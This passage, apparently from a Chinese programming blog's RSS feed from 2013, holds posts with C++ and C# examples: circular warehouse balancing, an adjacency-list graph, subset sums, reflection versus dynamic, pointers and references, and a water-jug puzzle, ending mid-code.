然后，从1到n-1，依次向下运送某一特定值，使得每一个仓库的余量都为average，剩下的问题就是求总代价的最小值了。&lt;/p&gt;
&lt;p&gt;设第0步从1仓库向n仓库（注意因为是圆圈，所以路径长度是1）运出k存量，k可以为负，如果为负数，意味着从n向1运输|k|存量，然后从循环，从（1到n-1）,从i仓库向i+1仓库运输，运输的量需要保证i仓库在运输完毕后等于average&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;第0步（从仓库1向仓库n运送k）:花费代价为 |k|，&lt;/li&gt;
&lt;li&gt;第1步（确保仓库1的余量为average）：需要花费代价为&lt;/li&gt;
&lt;/ol&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;|warehouse[1]-average-k|&lt;/pre&gt;
&lt;p&gt;也就是从1向2伙从2向1运输
3.  第2步（确保仓库2的余量为average）：代价为&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;|warehouse[2]+warehouse[1]-average-k-average|=|warehouse[1]+warehouse[2]-2*average-k|&lt;/pre&gt;
&lt;p&gt;&amp;hellip;
n-1.第n-1步：代价为&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;|warehouse[1]+warehouse[2]+...+warehouse[n-1]-(n-1)*average-k|&lt;/pre&gt;
&lt;p&gt;此时，仓库n剩下的货物量：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;(warehouse[n]+k)+warehouse[1]+warehouse[2]+...+warehouse[n-1]-(n-1)*average-k=(warehouse[1]+warehouse[2]+...+warehouse[n])-(n-1)*average=average&lt;/pre&gt;
&lt;p&gt;刚好也满足，其实这里不用推导，因为平均值是算好的，所以最胡一定是刚好完成的。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;总的代价为&lt;/strong&gt;：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;|k|+|warehouse[1]-average-k|+|warehouse[1]+a[2]-2*average-k|+...+|warehouse[1]+warehouse[2]+...+warehouse[n-1]-(n-1)*average-k|&lt;/pre&gt;
&lt;p&gt;不妨令sum[i] = warehouse[1]+warehouse[2]+&amp;hellip;+warehouse[i]-i*average
则，总代价可表示为：|k|+|sum[1]-k|+|sum[2]-k|+&amp;hellip;+|sum[n-1]-k|
这个式子可以看成在水平数轴上寻找一个点k，使得点k到点0,sum[1],sum[2],sum[3],&amp;hellip;,sum[n-1]的距离之和最小，显然k应该取这n个数的中位数。至此问题解决。&lt;/p&gt;
&lt;p&gt;给出详细注释代码：&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;#include &#34;stdafx.h&#34;
#include &amp;lt;iostream&amp;gt;
#include &amp;lt;algorithm&amp;gt;
#include&amp;lt;string&amp;gt;

using namespace std;

const int X = 100000;
double sum[X],warehouse[X];
int n;

double Abs(double x)
{
	return max(x,-x);
}

int _tmain(int argc, _TCHAR* argv[])
{
	while(true)
	{
		double total = 0;
		double mid=0;
		cout&amp;lt;&amp;lt;&#34;请输入仓库数目：&#34;;
		cin&amp;gt;&amp;gt;n;
		//读入n个仓库的值，并计算总数
		for(int i=1;i&amp;lt;=n;i++)
		{
			cout&amp;lt;&amp;lt;&#34;请输入第&#34;&amp;lt;&amp;lt;i&amp;lt;&amp;lt;&#34;个仓库的存量：&#34;;
			cin&amp;gt;&amp;gt;warehouse[i];
			total += warehouse[i];
		}
		//计算每个仓库应该最终存储的值
		double average = total/n;
		//计算sum数组
		for(int i=1;i&amp;lt;n;i++)
			sum[i] = warehouse[i]+sum[i-1]-average;
		//排序后打算去中位数
		//sort采用半开半闭区间，所以排序为0～n-1
		sort(sum,sum+n);
		//这个可以自己举个数字就知道了
		if(n%2!=0)
		{	
			mid = sum[n/2];
		}
		else
		{
			mid=(sum[n/2]+sum[n/2-1])/2;
		}
		cout&amp;lt;&amp;lt;&#34;应该从1开始,运输&#34;&amp;lt;&amp;lt;mid&amp;lt;&amp;lt;&#34;货物,然后依次保证符合条件即可&#34;&amp;lt;&amp;lt;endl;
		double ans = Abs(mid);
		for(int i=1;i&amp;lt;n;i++)
			ans += Abs(sum[i]-mid);
		cout&amp;lt;&amp;lt;&#34;总成本花费是:&#34;&amp;lt;&amp;lt;ans&amp;lt;&amp;lt;endl;
		cout&amp;lt;&amp;lt;&#34;----------------------------------------------------------------------&#34;&amp;lt;&amp;lt;endl;
	}
	return 0;
}&lt;/pre&gt;
&lt;p&gt;思路借鉴了：&lt;a href=&#34;http://hi.baidu.com/hujunjiehit/item/54204f01931ee6c49157184c&#34;&gt;http://hi.baidu.com/hujunjiehit/item/54204f01931ee6c49157184c&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;错误之处欢迎留言指出..&lt;/p&gt;</description>
    </item>
    <item>
      <title>邻接表实现无向图(C&#43;&#43;)</title>
      <link>http://blog.leaver.me/2013/05/31/%E9%82%BB%E6%8E%A5%E8%A1%A8%E5%AE%9E%E7%8E%B0%E6%97%A0%E5%90%91%E5%9B%BEc/</link>
      <pubDate>Fri, 31 May 2013 15:05:29 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/05/31/%E9%82%BB%E6%8E%A5%E8%A1%A8%E5%AE%9E%E7%8E%B0%E6%97%A0%E5%90%91%E5%9B%BEc/</guid>
      <description>&lt;p&gt;很早以前写的代码了，贴出来做个备份吧。用向量来存储一条邻接链表，存储可连通值。实现了判断是否连通，添加边，添加顶点的功能。&lt;/p&gt;
&lt;p&gt;UnDirectGraph.h&lt;/p&gt;
&lt;pre class=&#34;show-lang:1 lang:default decode:true&#34;&gt;#pragma once

#include &#34;stdafx.h&#34;
#include &amp;lt;vector&amp;gt;
using namespace std;
class UnDirectGraph
{
private:
	int vCount;
	vector&amp;lt;int&amp;gt; *adj;
public:
	int GetVCount();
	UnDirectGraph(int vCount);
	void AddEdge(int v,int w);
	vector&amp;lt;int&amp;gt; &amp;amp;Vadj(int v);
	bool IsConnected(int v,int w);
};&lt;/pre&gt;
&lt;p&gt;UnDirectGraph.cpp&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;#pragma once

#include &#34;stdafx.h&#34;
#include &#34;UnDirectGraph.h&#34;
using namespace std;
UnDirectGraph::UnDirectGraph(int _vCount)
{
	this-&amp;gt;vCount=_vCount;
	adj=new vector&amp;lt;int&amp;gt;[vCount];

	for (int i=0;i&amp;lt;vCount;i++)
	{
			adj[i].clear();
	}

}
void UnDirectGraph::AddEdge(int v,int w)
{
	adj[v].push_back(w);
	adj[w].push_back(v);
}

vector&amp;lt;int&amp;gt;&amp;amp; UnDirectGraph::Vadj(int v)
{
	return adj[v];
}

bool UnDirectGraph::IsConnected(int v,int w)
{
	for (vector&amp;lt;int&amp;gt;::iterator iter=adj[v].begin();iter!=adj[v].end();iter++)
	{
		if (*iter==w)
		{
			return true;
		}
	}
	return false;
}

int UnDirectGraph::GetVCount()
{
	return vCount;
}&lt;/pre&gt;
&lt;p&gt;代码还算清晰，就不解释了，有问题留言反馈。谢谢。&lt;/p&gt;</description>
    </item>
    <item>
      <title>求整数1-N范围和为N的所有组合</title>
      <link>http://blog.leaver.me/2013/05/27/%E6%B1%82%E6%95%B4%E6%95%B01-n%E8%8C%83%E5%9B%B4%E5%92%8C%E4%B8%BAn%E7%9A%84%E6%89%80%E6%9C%89%E7%BB%84%E5%90%88/</link>
      <pubDate>Mon, 27 May 2013 10:55:49 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/05/27/%E6%B1%82%E6%95%B4%E6%95%B01-n%E8%8C%83%E5%9B%B4%E5%92%8C%E4%B8%BAn%E7%9A%84%E6%89%80%E6%9C%89%E7%BB%84%E5%90%88/</guid>
      <description>&lt;p&gt;看到的一道题，给出答案&lt;/p&gt;
&lt;p&gt;问题：找出整数1~N范围和为N的所有集合，集合里的数不允许重复。&lt;/p&gt;
&lt;p&gt;解答：递归吧&lt;/p&gt;
&lt;p&gt;代码如下：&lt;/p&gt;
&lt;pre class=&#34;lang:c++ decode:true&#34;&gt;#include &#34;stdafx.h&#34;
#include &amp;lt;iostream&amp;gt;
using namespace std;

void PrintResult(int *log,int index)
{
	for (int i = 0; i &amp;lt;index; ++i)
	{
		cout&amp;lt;&amp;lt;log[i]&amp;lt;&amp;lt;&#34; &#34;;
	}
	cout&amp;lt;&amp;lt;endl;
}

void CalCombination(int* log,int startNum,int N,int &amp;amp;index)
{
	if (N==0)
	{
		PrintResult(log,index);
	}

	else
	{
		for (int i = startNum; i &amp;lt;= N; ++i)
		{
			log[index++]=i;
			CalCombination(log,i+1,N-i,index);
		}
	}
	index--;
}

int _tmain(int argc, _TCHAR* argv[])
{
	cout&amp;lt;&amp;lt;&#34;请输入N:&#34;;
	int N=20;
	cin&amp;gt;&amp;gt;N;
	int *log=new int[N];
	int index=0;
	CalCombination(log,1,N,index);
}&lt;/pre&gt;
&lt;p&gt;要是允许重复，也简单，将递归中的这句话改为：&lt;/p&gt;
&lt;pre&gt;CalCombination(log,i,N-i,index);&lt;/pre&gt;
&lt;p&gt;同理，还可以解决类似给定一个数组，让求和为N的元素组合，只需要现将元素排个序，然后思路相同。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;</description>
    </item>
    <item>
      <title>[译]反射(Reflection)和动态(dynamic)</title>
      <link>http://blog.leaver.me/2013/05/27/%E8%AF%91%E5%8F%8D%E5%B0%84reflection%E5%92%8C%E5%8A%A8%E6%80%81dynamic/</link>
      <pubDate>Mon, 27 May 2013 08:47:34 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/05/27/%E8%AF%91%E5%8F%8D%E5%B0%84reflection%E5%92%8C%E5%8A%A8%E6%80%81dynamic/</guid>
      <description>&lt;h1 id=&#34;反射&#34;&gt;反射&lt;/h1&gt;
&lt;p&gt; &lt;/p&gt;
&lt;div&gt;当我们需要检查，调用一个程序集的内容的时候，用反射，比如，当VS给智能提示的时候，就应用了反射。&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;h2 id=&#34;简单用法实例&#34;&gt;简单用法实例：&lt;/h2&gt;
&lt;p&gt; &lt;/p&gt;
&lt;div&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;var myAssembly = Assembly.LoadFile(@&#34;C:\ClassLibrary1.dll&#34;);
var myType = myAssembly.GetType(&#34;ClassLibrary1.Class1&#34;);
dynamic objMyClass = Activator.CreateInstance(myType);
// 获取类的类型信息
Type parameterType = objMyClass.GetType();
&lt;p&gt;// 浏览方法
foreach (MemberInfo objMemberInfo in parameterType.GetMembers())
{Console.WriteLine(objMemberInfo.Name);}&lt;/p&gt;
&lt;p&gt;// 浏览属性.
foreach (PropertyInfo objPropertyInfo in parameterType.GetProperties())
{Console.WriteLine(objPropertyInfo.Name);}&lt;/p&gt;
&lt;p&gt;//开始调用
parameterType.InvokeMember(&amp;ldquo;Display&amp;rdquo;,BindingFlags.Public | 
BindingFlags.NonPublic | BindingFlags.InvokeMethod | 
BindingFlags.Instance,null, objMyClass, null);&lt;/pre&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;h2 id=&#34;实际一点的用处呢&#34;&gt;实际一点的用处呢：&lt;/h2&gt;
&lt;p&gt; &lt;/p&gt;
&lt;div&gt;1.当你也要开发一个类似VS的编辑器的时候，要提供智能提示就需要反射&lt;/div&gt;
&lt;div&gt;2.当创建单元测试框架的时候，为了测试需要动态调用方法和属性的时候&lt;/div&gt;
&lt;div&gt;3.有时候我们想把类型的属性，方法等全部导出的时候&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;h1 id=&#34;动态dynamic&#34;&gt;动态dynamic&lt;/h1&gt;
&lt;p&gt; &lt;/p&gt;
&lt;div&gt;编程语言分为强/弱类型，dynamic是弱类型，此关键字会让编译器不做编译时的类型检查，只做运行时的检查。&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;h2 id=&#34;简单用法示例&#34;&gt;简单用法示例：&lt;/h2&gt;
&lt;p&gt; &lt;/p&gt;
&lt;div&gt;
&lt;pre lang=&#34;cs&#34;&gt;dynamic x = &#34;c#&#34;;
x++;&lt;/pre&gt;
&lt;/div&gt;
&lt;div&gt;所以上面这行代码可以编译通过，但会产生运行时一场。&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;h2 id=&#34;实际用处&#34;&gt;实际用处：&lt;/h2&gt;
&lt;p&gt; &lt;/p&gt;
&lt;div&gt;最多的就是通过互操作来操作Office组件的时候了&lt;/div&gt;
&lt;div&gt;没有dynamic的时候&lt;/div&gt;
&lt;div&gt;
&lt;pre lang=&#34;cs&#34;&gt;/ Before the introduction of dynamic.
Application excelApplication = new  Application();
((Excel.Range)excelApp.Cells[1, 1]).Value2 = &#34;Name&#34;;
Excel.Range range2008 = (Excel.Range)excelApp.Cells[1, 1];&lt;/pre&gt;
&lt;/div&gt;
&lt;div&gt;有了dynamic之后世界就不一样了&lt;/div&gt;
&lt;div&gt;
&lt;pre lang=&#34;cs&#34;&gt;dynamic excelApp = new Application();
excelApp.Cells[1, 1].Value = &#34;Name&#34;;
Excel.Range range2010 = excelApp.Cells[1, 1];&lt;/pre&gt;
&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;h1 id=&#34;两者的区别和联系呢&#34;&gt;两者的区别和联系呢&lt;/h1&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;1.当我们想要在运行时操作一个对象的时候，就会用到这两个&lt;/div&gt;
&lt;div&gt;2.反射可以用来检测对象的元数据，也能在运行时调用对象的方法和属性&lt;/div&gt;
&lt;div&gt;3.dynamic是.net 4.0新出的关键字，知道方法被调用的时候，编译器才会晓得这个方法到底有还是没有。&lt;/div&gt;
&lt;div&gt;4.dynamic内部是使用反射来实现的，它缓存了方法调用来提高性能&lt;/div&gt;
&lt;div&gt;5.反射可以调用公有和私有成员，而dynamic智能调用用公有成员&lt;/div&gt;
&lt;div&gt;6.dynamic是实例相关的，无法访问静态成员，这种情况下使用反射吧。&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;
&lt;table&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td width=&#34;163&#34;&gt;&lt;/td&gt;
&lt;td width=&#34;68&#34;&gt;**Reflection**&lt;/td&gt;
&lt;td&gt;**Dynamic**&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td width=&#34;163&#34;&gt;**Inspect (meta-data) **&lt;/td&gt;
&lt;td width=&#34;68&#34;&gt;Yes&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td width=&#34;163&#34;&gt;**Invoke public members**&lt;/td&gt;
&lt;td width=&#34;68&#34;&gt;Yes&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td width=&#34;163&#34;&gt;**Invoke private members**&lt;/td&gt;
&lt;td width=&#34;68&#34;&gt;Yes&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td width=&#34;163&#34;&gt;**Caching**&lt;/td&gt;
&lt;td width=&#34;68&#34;&gt;No&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td width=&#34;163&#34;&gt;**Static class **&lt;/td&gt;
&lt;td width=&#34;68&#34;&gt;Yes&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
再来一张图...
[![](/images/d0e1ec824f1199a847d9a16237673a4a299e0dce.jpg)](http://leaverimage.b0.upaiyun.com/36512_o.jpg)
&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;译自：[http://www.codeproject.com/Articles/593881/What-is-the-difference-between?utm_source=feedly](http://www.codeproject.com/Articles/593881/What-is-the-difference-between?utm_source=feedly)&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;</description>
    </item>
    <item>
      <title>武汉大学论文参考文献格式生成工具(C#)</title>
      <link>http://blog.leaver.me/2013/05/24/%E6%AD%A6%E6%B1%89%E5%A4%A7%E5%AD%A6%E8%AE%BA%E6%96%87%E5%8F%82%E8%80%83%E6%96%87%E7%8C%AE%E6%A0%BC%E5%BC%8F%E7%94%9F%E6%88%90%E5%B7%A5%E5%85%B7c/</link>
      <pubDate>Fri, 24 May 2013 11:31:19 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/05/24/%E6%AD%A6%E6%B1%89%E5%A4%A7%E5%AD%A6%E8%AE%BA%E6%96%87%E5%8F%82%E8%80%83%E6%96%87%E7%8C%AE%E6%A0%BC%E5%BC%8F%E7%94%9F%E6%88%90%E5%B7%A5%E5%85%B7c/</guid>
      <description>&lt;p&gt;每次写论文报告什么的，最头疼的就是参考文献的，本来打算写一个论文格式生成工具的，不过，一想起代码量，就有点吓人，所以分而治之，先写参考文献生成工具.&lt;/p&gt;
&lt;p&gt;本工具生成的文献格式符合武汉大学本科生论文的格式要求，因此，放心使用，填写内容都是必填，页码什么的要是不知道就随便填一个..你懂的..有问题请留言反馈。&lt;/p&gt;
&lt;p&gt;程序提供8种参考文献类型，第9种电子文献，没有实现，因为感觉在论文中参考文献要是网址的话很难看.而且用的不多..其实主要还是懒..每种文献类型需要填写的信息都不一样，8种&amp;hellip;8种&amp;hellip;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/36356_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/0a81d82d86007c82e327e9c0bbce1e32bb637f0e.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;使用方法：&lt;/p&gt;
&lt;p&gt;1.在界面右侧选择参考文献类型，然后填写。添加，左侧将会出现&lt;/p&gt;
&lt;p&gt;2.如果填写错误，双击左侧条目，即可删除&lt;/p&gt;
&lt;p&gt;3.完成后导出，即可在本目录生成docx文档&lt;/p&gt;
&lt;p&gt;下载地址：&lt;a href=&#34;http://pan.baidu.com/share/link?shareid=510063&amp;amp;uk=1493685990&#34;&gt;武汉大学论文参考文献格式生成工具&lt;/a&gt;&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;</description>
    </item>
    <item>
      <title>引用和指针(C&#43;&#43;)</title>
      <link>http://blog.leaver.me/2013/05/22/%E5%BC%95%E7%94%A8%E5%92%8C%E6%8C%87%E9%92%88c/</link>
      <pubDate>Wed, 22 May 2013 16:16:24 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/05/22/%E5%BC%95%E7%94%A8%E5%92%8C%E6%8C%87%E9%92%88c/</guid>
      <description>&lt;p&gt;今天在整理收藏夹的时候，又看到了这两篇非常不错的文章，关于指针和引用的，我就不翻译了，文章很简单，不过把其中我觉得很有意思的两部分结合我的理解希望说的更清楚,假定你读这篇文章之前已经知道指针，但是不是很清楚其中的部分。&lt;/p&gt;
&lt;p&gt;首先是关于指针的一个直观的一个认识.&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;#include &amp;lt;iostream&amp;gt;

int main()
{
  using namespace std;

// 声明并初始化指针.
  unsigned short int * pPointer = 0;
// 定义一个unsigned short int 变量 值为35698
  unsigned short int twoInt = 35698;
// 定义一个unsigned short int 变量 值为 77
  unsigned short int oneInt = 77;
// 使用&amp;amp;操作符将twoInt的地址赋给指针
  pPointer = &amp;amp;twoInt;
// pPointer 现在的值就是twoInt的地址了

// 打印
  cout &amp;lt;&amp;lt; &#34;pPointer的内存地址:\t\t&#34; &amp;lt;&amp;lt; &amp;amp;pPointer &amp;lt;&amp;lt; endl;
  cout &amp;lt;&amp;lt; &#34;oneInt的内存地址:\t&#34; &amp;lt;&amp;lt; &amp;amp;oneInt &amp;lt;&amp;lt; &#34;\t整数值:\t&#34; &amp;lt;&amp;lt; oneInt &amp;lt;&amp;lt; endl;
  cout &amp;lt;&amp;lt; &#34;twoInt的内存地址:\t&#34; &amp;lt;&amp;lt; &amp;amp;twoInt &amp;lt;&amp;lt; &#34;\t整数值:\t&#34; &amp;lt;&amp;lt; twoInt &amp;lt;&amp;lt; endl;
  cout &amp;lt;&amp;lt; &#34;pPointer所指向的地址(也就是pPoint的值):\t&#34; &amp;lt;&amp;lt; pPointer &amp;lt;&amp;lt; &#34;\t整数值:\t&#34; &amp;lt;&amp;lt; *pPointer &amp;lt;&amp;lt; endl;

return 0;
}&lt;/pre&gt;
&lt;p&gt;上面这段代码，声明了一个指针，和两个整数，指针指向第一个整数，然后输出结果（每个人的输出结果不一样）是：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;pPointer的内存地址:                   0xbff43314
oneInt的内存地址:                     0xbff43318       整数值:  77
twoInt的内存地址:                     0xbff4331a       整数值:  35698
pPointer所指向的地址(也就是pPoint的值): 0xbff4331a       整数值:  35698&lt;/pre&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/36294_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/ef97273d51f6843eb062463a3091a8edb177b30e.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;这张图是这几个变量的内存分布图，上面一排是内存地址编号，正对我们的是该处的值&lt;/p&gt;
&lt;p&gt;指针pPointer这个变量从最左边0xbff43314这个内存位置开始，占用了四个字节，这个一个指针占四个字节，大家都知道的，这个变量的值是一个地址，也就是他的指向地址。&lt;/p&gt;
&lt;p&gt;pPointer 所指向的地址呢，是一个short int 类型的值所在的位置，在这里就是我们的twoint，twoint在内存中呢，是从0xbff4331a开始的，也就是说，我们的pPointer指向了twoint所在的地址，&lt;/p&gt;
&lt;p&gt;注意，看一下左边四个方块前面的二进制数，转换成16进制就是0xbff4331a了&lt;/p&gt;
&lt;p&gt;因此，取指针所指向的值就是35698了。指针本身的值则是0xbff4331a，指针所在的位置是0xbff43314。&lt;/p&gt;
&lt;p&gt;参考文章：&lt;a href=&#34;http://linuxconfig.org/c-understanding-pointers&#34;&gt;C++ : Understanding pointers&lt;/a&gt;&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;另一个呢是关于引用的实现原理&lt;/p&gt;
&lt;p&gt;大家都知道，引用就是别名，比如下面这段代码&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;#include &amp;lt;iostream&amp;gt;
using namespace std;

int main() {
   int number = 88;          // 定义一个int变量
   int &amp;amp; refNumber = number; // 声明并初始化一个引用
                             // 现在他们都表示了同一个值

   cout &amp;lt;&amp;lt; number &amp;lt;&amp;lt; endl;    // 打印number的值 (88)
   cout &amp;lt;&amp;lt; refNumber &amp;lt;&amp;lt; endl; // 打印引用的值 (88)

   refNumber = 99;            // 给refNumber重新赋一个值
   cout &amp;lt;&amp;lt; refNumber &amp;lt;&amp;lt; endl;
   cout &amp;lt;&amp;lt; number &amp;lt;&amp;lt; endl;    // number的值也就变成了 (99)

   number = 55;               // 重新给number赋一个值
   cout &amp;lt;&amp;lt; number &amp;lt;&amp;lt; endl;
   cout &amp;lt;&amp;lt; refNumber &amp;lt;&amp;lt; endl; // refNumber也就变成了(55)
}&lt;/pre&gt;
&lt;p&gt;输出结果肯定一目了然，其中的原理想过没&lt;/p&gt;</description>
    </item>
    <item>
      <title>倒水问题求解(C&#43;&#43;)</title>
      <link>http://blog.leaver.me/2013/05/15/%E5%80%92%E6%B0%B4%E9%97%AE%E9%A2%98%E6%B1%82%E8%A7%A3c/</link>
      <pubDate>Wed, 15 May 2013 18:37:24 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/05/15/%E5%80%92%E6%B0%B4%E9%97%AE%E9%A2%98%E6%B1%82%E8%A7%A3c/</guid>
      <description>&lt;p&gt;明天要去参加微软面试，不求顺利，但求体验。&lt;/p&gt;
&lt;p&gt;这个题目答题的意思是:&lt;/p&gt;
&lt;p&gt;给你一个容量为A升的桶和一个容量为B升的桶，水不限使用，要求精确得到Q升水.请说明步骤&lt;/p&gt;
&lt;p&gt;当数字比较小的时候,我们可以通过大脑穷举来得到结果,但这里有两个问题,当数字很大的时候怎么解?题目给定的数据是否有解?&lt;/p&gt;
&lt;p&gt;首先判断是否有解?&lt;/p&gt;
&lt;p&gt;题目可以理解为,x为用A的次数,y为用B的次数,Q为目标值&lt;/p&gt;
&lt;p&gt;Q = A * x + B * y
Q =目标值.&lt;/p&gt;
&lt;p&gt;Q必须是 Gcd(A,B)(也就是A,B的最大公约数)的倍数,否则无解,如果 Gcd(A,B) == 1, 任何Q都是可解的&lt;/p&gt;
&lt;p&gt;最简单的方法就是把A的水不断的向B中倒(B向A中倒也行),知道得到最终结果,如果桶满了,就清空该桶.举个例子&lt;/p&gt;
&lt;p&gt;A = 3, B = 4 并且 Q = 2
重复得从 A-&amp;gt;B&lt;/p&gt;
&lt;p&gt;A B&lt;/p&gt;
&lt;h6&gt;&lt;/h6&gt;
&lt;p&gt;0 0
4 0
1 3
1 0
0 1
4 1
2 3 &amp;lt;-A桶中得到2了&lt;/p&gt;
&lt;p&gt;试试从  B-&amp;gt;A&lt;/p&gt;
&lt;p&gt;A B&lt;/p&gt;
&lt;h5&gt;&lt;/h5&gt;
&lt;p&gt;0 0
0 3
3 0
3 3
4 2 &amp;lt;- B中也得到了2
但是注意,从 B-&amp;gt;A 比从 A-&amp;gt;B快哦&lt;/p&gt;
&lt;p&gt;然后我贴出代码&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;#include &#34;stdafx.h&#34;
#include &amp;lt;iostream&amp;gt;
#include &amp;lt;vector&amp;gt;
#include&amp;lt;string&amp;gt;

using namespace std;

//热门智力题 - 打水问题
//基本思想：用A桶容量的倍数对B桶的容量进行取余。
//指导方针：不断用A桶装水倒入B桶，B桶满了立即清空
//每次判断下二个桶中水的容量是否等于指定容量。
const string OPERATOR_NAME[7] = {
	&#34;装满A桶&#34;,
	&#34;装满B桶&#34;,
	&#34;将A桶清空&#34;,
	&#34;将B桶清空&#34;,
	&#34;A桶中水倒入B桶&#34;,
	&#34;B桶中水倒入A桶&#34;,
	&#34;成功得到结果&#34;
};
int max(int a,int b)
{
	return a&amp;gt;b?a:b;
}
int gcd(int m,int n)
{
	int temp,p,r;
	//n存放最小数，m存放最大数
	if(n&amp;gt;m){
		temp = n;
		n = m;
		m = temp;
	}
	p=n*m;//先取得两个数的积
	while(n!=0){
		r=m%n;
		m=n;
		n=r;
	}
return m;
}
int _tmain(int argc, _TCHAR* argv[])
{
	int    a_capacity, b_capacity, goal_capacity;
	vector&amp;lt;string&amp;gt; record;       //记录操作过程
	int a_water, b_water;

	cout&amp;lt;&amp;lt;&#34;请输入A桶容量，B桶容量，目标容量Q：&#34;;
	cin&amp;gt;&amp;gt;a_capacity&amp;gt;&amp;gt;b_capacity&amp;gt;&amp;gt;goal_capacity;
	a_water = b_water = 0; //A桶，B桶中有多少升水

	//判断是否一定可解
	if (a_capacity&amp;lt;=0 || b_capacity&amp;lt;=0 || goal_capacity&amp;lt;=0)
	{
		cout&amp;lt;&amp;lt;&#34;请保证所以容量大于0&#34;&amp;lt;&amp;lt;endl;
		return -1;
	}
	if (goal_capacity&amp;gt;max(a_capacity,b_capacity))
	{
		cout&amp;lt;&amp;lt;&#34;要量出的容量应该小于其中桶容量&#34;&amp;lt;&amp;lt;endl;
		return -2;
	}
	//如果可解则解之
	if(goal_capacity%gcd(a_capacity,b_capacity)==0)
	{
		//存放临时的字符串构造
		char szTemp[30];
		while (true)
		{
			if (a_water == 0)//A桶没水,就装满水
			{
				a_water = a_capacity;
				sprintf(szTemp, &#34;         A:%d  B:%d&#34;, a_water, b_water);
				record.push_back(OPERATOR_NAME[0] + szTemp);//先填满 A桶
			}
			else
			{
				//如果A桶的水比(B桶容量-B桶的水)要多，也就是多于没装满的B桶空出来的部分，A桶会剩下
				if (a_water &amp;gt; b_capacity - b_water)
				{
					//A桶向B桶倒水直到B桶满，此时A桶的水==A桶的水+B桶的水-B桶容量
					a_water = a_water + b_water- b_capacity;
					b_water = b_capacity;		 //B桶的水装满了
					sprintf(szTemp, &#34;  A:%d  B:%d&#34;, a_water, b_water); 
					record.push_back(OPERATOR_NAME[4] + szTemp);//A-&amp;gt;B	
					if (a_water == goal_capacity)
						break;
					b_water = 0;			//将B桶清空
					sprintf(szTemp, &#34;       A:%d  B:%d&#34;, a_water, b_water); 
					record.push_back(OPERATOR_NAME[3] + szTemp);
				}
				else
				{
					//A桶小于装满B桶需要的水，此时B桶的水==A桶的水+B桶的水
					b_water += a_water;	
					a_water = 0;
					sprintf(szTemp, &#34;  A:%d  B:%d&#34;, a_water, b_water);
					record.push_back(OPERATOR_NAME[4] + szTemp);//A-&amp;gt;B
					if (b_water == goal_capacity) 
						break;
				}
			}
		}
		record.push_back(OPERATOR_NAME[6]);	//break出来说明成功了
		cout&amp;lt;&amp;lt;&#34;\n---------------------------------------------------&#34;&amp;lt;&amp;lt;endl;
		cout&amp;lt;&amp;lt;&#34;以下下是一种方案&#34;&amp;lt;&amp;lt;endl;
		vector&amp;lt;string&amp;gt;::iterator pos;
		for (pos = record.begin(); pos != record.end(); pos++)
			cout&amp;lt;&amp;lt;*pos&amp;lt;&amp;lt;endl;
		cout&amp;lt;&amp;lt;&#34;---------------------------------------------------&#34;&amp;lt;&amp;lt;endl;
	}
	else
	{
